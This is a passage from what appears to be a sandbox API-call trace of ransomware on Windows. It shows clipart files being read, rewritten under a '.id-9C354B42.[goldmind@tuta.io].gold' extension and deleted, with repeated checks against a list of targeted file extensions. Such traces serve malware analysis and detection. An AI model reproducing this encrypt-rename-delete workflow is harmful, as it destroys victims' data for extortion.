Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.188] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=67540) returned 1 [0109.188] CloseHandle (hObject=0x180) returned 1 [0109.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 0x20 [0109.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.189] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.189] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.190] GetLastError () returned 0x0 [0109.190] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x107d4, lpOverlapped=0x0) returned 1 [0109.192] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x107e0, lpOverlapped=0x0) returned 1 [0109.193] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.193] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.193] SetEndOfFile (hFile=0x194) returned 1 [0109.205] CloseHandle (hObject=0x194) returned 1 [0109.205] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.205] SetEndOfFile (hFile=0x180) returned 1 [0109.207] CloseHandle (hObject=0x180) returned 1 [0109.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0109.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.208] lstrlenW (lpString=".doc") returned 4 [0109.208] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.208] lstrlenW (lpString=".docx") returned 5 [0109.208] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0109.208] lstrlenW (lpString=".pdf") returned 4 [0109.208] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString=".xls") returned 4 [0109.209] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString=".xlsx") returned 5 [0109.209] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0109.209] lstrlenW (lpString=".ppt") returned 4 [0109.209] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.209] lstrlenW (lpString=".zip") returned 4 [0109.209] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString=".rar") returned 4 [0109.209] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString=".bz2") returned 4 [0109.209] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.209] lstrlenW (lpString=".7z") returned 3 [0109.209] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.209] lstrlenW (lpString=".dbf") returned 4 [0109.209] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.209] lstrlenW (lpString=".1cd") returned 4 [0109.209] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.209] lstrlenW (lpString=".jpg") returned 4 [0109.209] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.209] lstrlenW (lpString=".doc") returned 4 [0109.209] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.209] lstrlenW (lpString=".docx") returned 5 [0109.209] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0109.209] lstrlenW (lpString=".pdf") returned 4 [0109.209] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString=".xls") returned 4 [0109.209] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString=".xlsx") returned 5 [0109.209] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0109.209] lstrlenW (lpString=".ppt") returned 4 [0109.209] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.209] lstrlenW (lpString=".zip") returned 4 [0109.209] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString=".rar") returned 4 [0109.209] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.209] lstrlenW (lpString=".bz2") returned 4 [0109.209] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.210] lstrlenW (lpString=".7z") returned 3 [0109.210] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.210] lstrlenW (lpString=".dbf") returned 4 [0109.210] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.210] lstrlenW (lpString=".1cd") returned 4 [0109.210] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0109.210] lstrlenW (lpString=".jpg") returned 4 [0109.210] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.210] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.210] lstrlenW (lpString="J0148798.JPG") returned 12 [0109.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.211] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=38237) returned 1 [0109.211] CloseHandle (hObject=0x180) returned 1 [0109.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 0x20 [0109.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.211] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.211] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.212] GetLastError () returned 0x0 [0109.212] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x955d, lpOverlapped=0x0) returned 1 [0109.214] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x9560, lpOverlapped=0x0) returned 1 [0109.215] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.215] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.215] SetEndOfFile (hFile=0x194) returned 1 [0109.215] CloseHandle (hObject=0x194) returned 1 [0109.215] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.215] SetEndOfFile (hFile=0x180) returned 1 [0109.217] CloseHandle (hObject=0x180) returned 1 [0109.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0109.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.218] lstrlenW (lpString=".doc") returned 4 [0109.218] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.218] lstrlenW (lpString=".docx") returned 5 [0109.218] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0109.218] lstrlenW (lpString=".pdf") returned 4 [0109.218] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.218] lstrlenW (lpString=".xls") returned 4 [0109.218] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.218] lstrlenW (lpString=".xlsx") returned 5 [0109.218] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0109.218] lstrlenW (lpString=".ppt") returned 4 [0109.218] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.218] lstrlenW (lpString=".zip") returned 4 [0109.218] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.218] lstrlenW (lpString=".rar") returned 4 [0109.218] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.218] lstrlenW (lpString=".bz2") returned 4 [0109.218] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.218] lstrlenW (lpString=".7z") returned 3 [0109.219] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.219] lstrlenW (lpString=".dbf") returned 4 [0109.219] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.219] lstrlenW (lpString=".1cd") returned 4 [0109.219] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.219] lstrlenW (lpString=".jpg") returned 4 [0109.219] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.219] lstrlenW (lpString=".doc") returned 4 [0109.219] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.219] lstrlenW (lpString=".docx") returned 5 [0109.219] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0109.219] lstrlenW (lpString=".pdf") returned 4 [0109.219] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.219] lstrlenW (lpString=".xls") returned 4 [0109.219] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.219] lstrlenW (lpString=".xlsx") returned 5 [0109.219] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0109.219] lstrlenW (lpString=".ppt") returned 4 [0109.219] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.219] lstrlenW (lpString=".zip") returned 4 [0109.219] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.219] lstrlenW (lpString=".rar") returned 4 [0109.219] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.219] lstrlenW (lpString=".bz2") returned 4 [0109.219] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.219] lstrlenW (lpString=".7z") returned 3 [0109.219] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.219] lstrlenW (lpString=".dbf") returned 4 [0109.219] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.219] lstrlenW (lpString=".1cd") returned 4 [0109.219] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0109.219] lstrlenW (lpString=".jpg") returned 4 [0109.219] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.219] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.219] lstrlenW (lpString="J0149018.JPG") returned 12 [0109.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.222] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=27393) returned 1 [0109.222] CloseHandle (hObject=0x180) returned 1 [0109.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 0x20 [0109.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.223] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.223] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.224] GetLastError () returned 0x0 [0109.224] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x6b01, lpOverlapped=0x0) returned 1 [0109.369] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0109.370] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.370] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.370] SetEndOfFile (hFile=0x194) returned 1 [0109.370] CloseHandle (hObject=0x194) returned 1 [0109.370] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.370] SetEndOfFile (hFile=0x180) returned 1 [0109.372] CloseHandle (hObject=0x180) returned 1 [0109.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0109.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.386] lstrlenW (lpString=".doc") returned 4 [0109.386] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.386] lstrlenW (lpString=".docx") returned 5 [0109.386] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0109.386] lstrlenW (lpString=".pdf") returned 4 [0109.386] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.386] lstrlenW (lpString=".xls") returned 4 [0109.386] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.386] lstrlenW (lpString=".xlsx") returned 5 [0109.386] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0109.386] lstrlenW (lpString=".ppt") returned 4 [0109.386] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.386] lstrlenW (lpString=".zip") returned 4 [0109.386] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.386] lstrlenW (lpString=".rar") returned 4 [0109.386] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.386] lstrlenW (lpString=".bz2") returned 4 [0109.386] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.386] lstrlenW (lpString=".7z") returned 3 [0109.386] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.386] lstrlenW (lpString=".dbf") returned 4 [0109.386] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.386] lstrlenW (lpString=".1cd") returned 4 [0109.386] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.386] lstrlenW (lpString=".jpg") returned 4 [0109.386] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.387] lstrlenW (lpString=".doc") returned 4 [0109.387] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.387] lstrlenW (lpString=".docx") returned 5 [0109.387] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0109.387] lstrlenW (lpString=".pdf") returned 4 [0109.387] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.387] lstrlenW (lpString=".xls") returned 4 [0109.387] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.387] lstrlenW (lpString=".xlsx") returned 5 [0109.387] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0109.387] lstrlenW (lpString=".ppt") returned 4 [0109.387] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.387] lstrlenW (lpString=".zip") returned 4 [0109.387] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.387] lstrlenW (lpString=".rar") returned 4 [0109.387] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.387] lstrlenW (lpString=".bz2") returned 4 [0109.387] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.387] lstrlenW (lpString=".7z") returned 3 [0109.387] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.387] lstrlenW (lpString=".dbf") returned 4 [0109.387] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.387] lstrlenW (lpString=".1cd") returned 4 [0109.387] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0109.387] lstrlenW (lpString=".jpg") returned 4 [0109.387] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.387] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.387] lstrlenW (lpString="J0151041.WMF") returned 12 [0109.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.391] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4356) returned 1 [0109.392] CloseHandle (hObject=0x364) returned 1 [0109.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 0x20 [0109.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 